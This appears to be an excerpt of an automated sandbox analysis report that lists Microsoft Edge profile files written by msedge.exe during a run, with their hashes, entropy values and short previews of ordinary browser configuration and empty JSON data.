SSDEEP:	6144:eA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:eFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	3635272993C389906125C77EAAE9A066
SHA1:	23BC5FEB2DC691CB9DA37A380860353CCF481FF8
SHA-256:	FCEA8966FC3B8670805C969BC75CCEC1EDCE3D2B1E87B5F0247C519F7F43F5A0
SHA-512:	17F4EA9B97724D96E35204492A7A5D655D69F029D03FE44C7A8F4142CCEB495FD316A3524DAC1938BA93284BAD65B94B6BF0C3FEC60F35B195F886D8218BE456
Malicious:	false
Reputation:	unknown
Preview:	...m.................DB_VERSION.1..L.q...............&QUERY_TIMESTAMP:domains_config_gz2...13376157387337225..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.126449625612582
Encrypted:	false
SSDEEP:	6:HUS89R1923oH+Tcwtk2WwnvB2KLlVUS8dM+q2P923oH+Tcwtk2WwnvIFUv:m8YebkxwnvFLp+v4YebkxwnQFUv
MD5:	4B17A8E0AD767463DF74CCBDD206CC02
SHA1:	90C109289647CF3E99591D65420D736748AC1465
SHA-256:	59A7B1B8E5D8530801AD45858769C6FE7CC1AED6AA7503D305E0C5E2236C2421
SHA-512:	351EF3C9D89B50BA8B4852C2DCB0555625E29D2902803848D7129A625BB4F3E341DF3444FBB96DEB710CA16C02BDC3ECFC6EC55D957C455C48A66035642AAC6C
Malicious:	false
Reputation:	unknown
Preview:	2024/11/15-10:16:25.425 20ac Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/15-10:16:25.495 20ac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Reputation:	unknown
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.3246217926756945
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rh:C1gAg1zfvp
MD5:	2F1B9C784F3AE423C850EE47ABB86EB5
SHA1:	FF83E18DF553F7E43CC58142B9BB998334BCF4AD
SHA-256:	2273A9FD2FF7105F286AAA04B121469F1D28DFF4F2B75174954733DC34FC3D1D
SHA-512:	B4B0445473F83C248C1C32BA29C760E3FF9DE2C172F9BD8E81B2E957F1C8FC3E60E28C1E4114D57126CA5ABDA54E8C72C9BABC3793BAC04671F829EDF8BF01FB
Malicious:	false
Reputation:	unknown
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Reputation:	unknown
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Reputation:	unknown
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\2015100f-465a-493f-ba54-23f72449826c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3d94ce54-c1da-47c0-8b32-3cc64f02c2b4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\53a09c14-6005-406c-8009-3bd208782cc2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 9, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 9
Category:	modified
Size (bytes):	20480
Entropy (8bit):	2.39347594419038
Encrypted:	false
SSDEEP:	96:ige+AZU2l/nG/nFkMgPuwacDce/Grlv30cLGY:ig7UG/nFWZ5/GxP0cL5
MD5:	43580DE23D13F07B91C197A55DA0E75C
SHA1:	EC45431861F7371DAE84415735AC3404BCDB90F0
SHA-256:	B943C0D36E1E390C0292D6AAFD95DE0CA05CC2AB93DEE2D1A11DEBB1AD5EFBF0
SHA-512:	AE101912428A254E9EF47114540DD4A02CB057C1AF34276D3EA5E8B980DD73FD1C861AC748DFF2F8DAEAF15DD693A3219E0D142D11166F85A27F5F54B8EE63F0
Malicious:	true
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.2142119245763507
Encrypted:	false
SSDEEP:	48:TaIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBCW+:uIEumQv8m1ccnvS6tLqUgv
MD5:	5935C73DCD44EB29EF1258C736AA15B4
SHA1:	7AB5526BCBBC01FA2C75448F47ABE394A47115CF
SHA-256:	E251E41003BA697621E8CE277EA80F643EC23A78039E83ED8C6A7F217BB20F8F
SHA-512:	7EC6481E39AA48A14D887B6A3E7FEE167748E5DFBFC539FB73BB1FEFC42243D66FE2FEB12E2347C40A281F3C8A62471DD182F52C03D96B6DB4814B92731ABDD2
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF37a42.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF39144.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF39210.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF464c1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF57ead.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries~RF48bb2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries~RF5bf9e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a07ae0b9-af72-4624-bc9e-37dac26720a6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b66534b5-efea-4679-8c13-40cac92d41b5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d756bfc9-f84e-45f6-8f25-e5690314adfe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f54db460-971b-46de-913c-85379ded00f2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\fbbb5146-4fe8-4644-b434-b2f2b1873fcb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
